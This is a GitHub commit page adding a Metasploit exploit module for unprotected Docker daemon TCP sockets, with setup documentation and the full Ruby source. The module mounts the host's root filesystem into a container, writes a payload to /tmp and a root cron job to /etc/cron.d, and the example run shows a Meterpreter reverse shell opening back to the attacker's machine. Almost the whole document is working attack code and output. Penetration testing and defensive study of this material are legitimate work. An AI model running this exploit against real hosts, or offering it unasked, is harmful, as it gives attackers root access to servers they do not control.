Skip to content

Commit c91ef1f

Browse files
committed
Land rapid7#8768, Add Docker Daemon TCP exploit module
2 parents f5a73f3 + 2383afd commit c91ef1f

File tree

2 files changed

+338
-0
lines changed

2 files changed

+338
-0
lines changed
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
# Vulnerable Application
2+
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
3+
with tls but without tls-auth), an attacker can create a Docker
4+
container with the '/' path mounted with read/write permissions on the
5+
host server that is running the Docker container. As the Docker
6+
container executes command as uid 0 it is honored by the host operating
7+
system allowing the attacker to edit/create files owned by root. This
8+
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
9+
the host server.
10+
11+
The Docker image should exist on the target system or be a valid image
12+
from hub.docker.com.
13+
14+
## Docker Engine
15+
By default, Docker runs via a non-networked unix socket. It can also
16+
optionally communicate using a tcp socket.
17+
18+
> Warning: Changing the default docker daemon binding to a TCP port or
19+
Unix docker user group will increase your security risks by allowing
20+
non-root users to gain root access on the host. Make sure you control
21+
access to docker. If you are binding to a TCP port, anyone with access
22+
to that port has full Docker access; so it is not advisable on an open
23+
network. -- [from docs.docker.com][1]
24+
25+
This module was tested with Debian 9 and CentOS 7 as the host operating
26+
system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1.
27+
28+
### Install Debian 9
29+
First [install Debian 9][2] with default task selection. This includes
30+
the "*standard system utilities*".
31+
32+
### Install Docker
33+
Then install a supported version of [Docker on Debian system][3].
34+
35+
```bash
36+
# TL;DR
37+
apt-get remove docker docker-engine
38+
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
39+
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
40+
apt-key fingerprint 0EBFCD88
41+
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
42+
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
43+
apt-get update
44+
apt-get install docker-ce
45+
docker run hello-world
46+
```
47+
48+
### Activate unprotected tcp socket
49+
Once Docker is installed, customize the Docker daemon options and add
50+
the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the
51+
settings from `/lib/systemd/system/docker.service` with a new file
52+
`/etc/systemd/system/docker.service`.
53+
54+
Further information: [docker systemd][4] and [docker daemon options][5].
55+
56+
```bash
57+
# TL;DR
58+
echo "[Service]
59+
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service
60+
systemctl daemon-reload
61+
systemctl restart docker
62+
curl http://127.0.0.1:2375/_ping ; echo
63+
OK
64+
```
65+
66+
### Mitigation
67+
68+
[Disable][5] or [protect][6] the Docker tcp socket.
69+
70+
# Exploitation
71+
This module is designed for the attacker to leverage, creation of a
72+
Docker container with out authentication through the Docker tcp socket
73+
to gain root access to the hosting server of the Docker container.
74+
75+
## Options
76+
- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit.
77+
- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated
78+
79+
## Steps to exploit with module
80+
- [ ] Start msfconsole
81+
- [ ] use exploit/linux/http/docker_daemon_tcp
82+
- [ ] Set the options appropriately and set VERBOSE to true
83+
- [ ] Verify it creates a Docker container and it successfully runs
84+
- [ ] After a minute a session should be opened from the Docker server
85+
86+
## Example Output
87+
```
88+
msf > use exploit/linux/http/docker_daemon_tcp
89+
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
90+
RHOST => 192.168.66.23
91+
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
92+
PAYLOAD => python/meterpreter/reverse_tcp
93+
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
94+
LHOST => 192.168.66.10
95+
msf exploit(docker_daemon_tcp) > set VERBOSE true
96+
VERBOSE => true
97+
msf exploit(docker_daemon_tcp) > check
98+
[+] 192.168.66.23:2375 The target is vulnerable.
99+
msf exploit(docker_daemon_tcp) > run
100+
101+
[*] Started reverse TCP handler on 192.168.66.10:4444
102+
[*] Check if images exist on the target host
103+
[*] Image is not available on the target host
104+
[*] Trying to pulling image from docker registry, this may take a while
105+
[*] Setting container json request variables
106+
[*] Creating the docker container command
107+
[*] The docker container is created, waiting for deploy
108+
[*] Waiting for the cron job to run, can take up to 60 seconds
109+
[*] Waiting until the docker container stopped
110+
[*] The docker container has been stopped, now trying to remove it
111+
[*] Sending stage (40411 bytes) to 192.168.66.23
112+
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
113+
[+] Deleted /etc/cron.d/lVoepNpy
114+
[+] Deleted /tmp/poasDIuZ
115+
116+
117+
meterpreter > sysinfo
118+
Computer : debian
119+
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
120+
Architecture : x64
121+
System Language : en_US
122+
Meterpreter : python/linux
123+
meterpreter >
124+
```
125+
126+
[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
127+
[2]:https://www.debian.org/releases/stretch/amd64/index.html.en
128+
[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
129+
[4]:https://docs.docker.com/engine/admin/systemd/
130+
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
131+
[6]:https://docs.docker.com/engine/security/https/
Lines changed: 207 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,207 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
15+
'Description' => %q{
16+
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
17+
with tls but without tls-auth), an attacker can create a Docker
18+
container with the '/' path mounted with read/write permissions on the
19+
host server that is running the Docker container. As the Docker
20+
container executes command as uid 0 it is honored by the host operating
21+
system allowing the attacker to edit/create files owned by root. This
22+
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
23+
the host server.
24+
25+
The Docker image should exist on the target system or be a valid image
26+
from hub.docker.com.
27+
},
28+
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
29+
'License' => MSF_LICENSE,
30+
'References' => [
31+
['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
32+
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
33+
],
34+
'DisclosureDate' => 'Jul 25, 2017',
35+
'Targets' => [
36+
[ 'Python', {
37+
'Platform' => 'python',
38+
'Arch' => ARCH_PYTHON,
39+
'Payload' => {
40+
'Compat' => {
41+
'ConnectionType' => 'reverse noconn none tunnel'
42+
}
43+
}
44+
}]
45+
],
46+
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
47+
'DefaultTarget' => 0))
48+
49+
register_options(
50+
[
51+
Opt::RPORT(2375),
52+
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
53+
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
54+
]
55+
)
56+
end
57+
58+
def check_image(image_id)
59+
vprint_status("Check if images exist on the target host")
60+
res = send_request_raw(
61+
'method' => 'GET',
62+
'uri' => normalize_uri('images', 'json')
63+
)
64+
return unless res and res.code == 200 and res.body.include? image_id
65+
66+
res
67+
end
68+
69+
def pull_image(image_id)
70+
print_status("Trying to pulling image from docker registry, this may take a while")
71+
res = send_request_raw(
72+
'method' => 'POST',
73+
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
74+
)
75+
return unless res.code == 200
76+
77+
res
78+
end
79+
80+
def make_container_id
81+
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
82+
83+
rand_text_alpha_lower(8)
84+
end
85+
86+
def make_cmd(mnt_path, cron_path, payload_path)
87+
vprint_status('Creating the docker container command')
88+
echo_cron_path = mnt_path + cron_path
89+
echo_payload_path = mnt_path + payload_path
90+
91+
cron_command = "python #{payload_path}"
92+
payload_data = payload.raw
93+
94+
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
95+
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
96+
command << "echo \"\" >> #{echo_cron_path} && "
97+
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
98+
99+
command
100+
end
101+
102+
def make_container(mnt_path, cron_path, payload_path)
103+
vprint_status('Setting container json request variables')
104+
{
105+
'Image' => datastore['DOCKERIMAGE'],
106+
'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
107+
'Entrypoint' => %w[/bin/sh -c],
108+
'HostConfig' => {
109+
'Binds' => [
110+
'/:' + mnt_path
111+
]
112+
}
113+
}
114+
end
115+
116+
def del_container(container_id)
117+
send_request_raw(
118+
{
119+
'method' => 'DELETE',
120+
'uri' => normalize_uri('containers', container_id)
121+
},
122+
1 # timeout
123+
)
124+
end
125+
126+
def check
127+
res = send_request_raw(
128+
'method' => 'GET',
129+
'uri' => normalize_uri('containers', 'json'),
130+
'headers' => { 'Accept' => 'application/json' }
131+
)
132+
133+
if res.nil?
134+
print_error('Failed to connect to the target')
135+
return Exploit::CheckCode::Unknown
136+
end
137+
138+
if res and res.code == 200 and res.headers['Server'].include? 'Docker'
139+
return Exploit::CheckCode::Vulnerable
140+
end
141+
142+
Exploit::CheckCode::Safe
143+
end
144+
145+
def exploit
146+
# check if target is vulnerable
147+
unless check == Exploit::CheckCode::Vulnerable
148+
fail_with(Failure::Unknown, 'Failed to connect to the target')
149+
end
150+
151+
# check if image is not available, pull it or fail out
152+
image_id = datastore['DOCKERIMAGE']
153+
if check_image(image_id).nil?
154+
fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
155+
end
156+
157+
# create required information to create json container information.
158+
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
159+
payload_path = '/tmp/' + rand_text_alpha(8)
160+
mnt_path = '/mnt/' + rand_text_alpha(8)
161+
container_id = make_container_id
162+
163+
# create container
164+
res_create = send_request_raw(
165+
'method' => 'POST',
166+
'uri' => normalize_uri('containers', 'create?name=' + container_id),
167+
'headers' => { 'Content-Type' => 'application/json' },
168+
'data' => make_container(mnt_path, cron_path, payload_path).to_json
169+
)
170+
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
171+
172+
print_status("The docker container is created, waiting for deploy")
173+
register_files_for_cleanup(cron_path, payload_path)
174+
175+
# start container
176+
send_request_raw(
177+
{
178+
'method' => 'POST',
179+
'uri' => normalize_uri('containers', container_id, 'start')
180+
},
181+
1 # timeout
182+
)
183+
184+
# wait until container stopped
185+
vprint_status("Waiting until the docker container stopped")
186+
res_wait = send_request_raw(
187+
'method' => 'POST',
188+
'uri' => normalize_uri('containers', container_id, 'wait'),
189+
'headers' => { 'Accept' => 'application/json' }
190+
)
191+
192+
# delete container
193+
deleted_container = false
194+
if res_wait.code == 200
195+
vprint_status("The docker container has been stopped, now trying to remove it")
196+
del_container(container_id)
197+
deleted_container = true
198+
end
199+
200+
# if container does not deploy, remove it and fail out
201+
unless deleted_container
202+
del_container(container_id)
203+
fail_with(Failure::Unknown, "The docker container failed to deploy")
204+
end
205+
print_status('Waiting for the cron job to run, can take up to 60 seconds')
206+
end
207+
end

0 commit comments

Comments
 (0)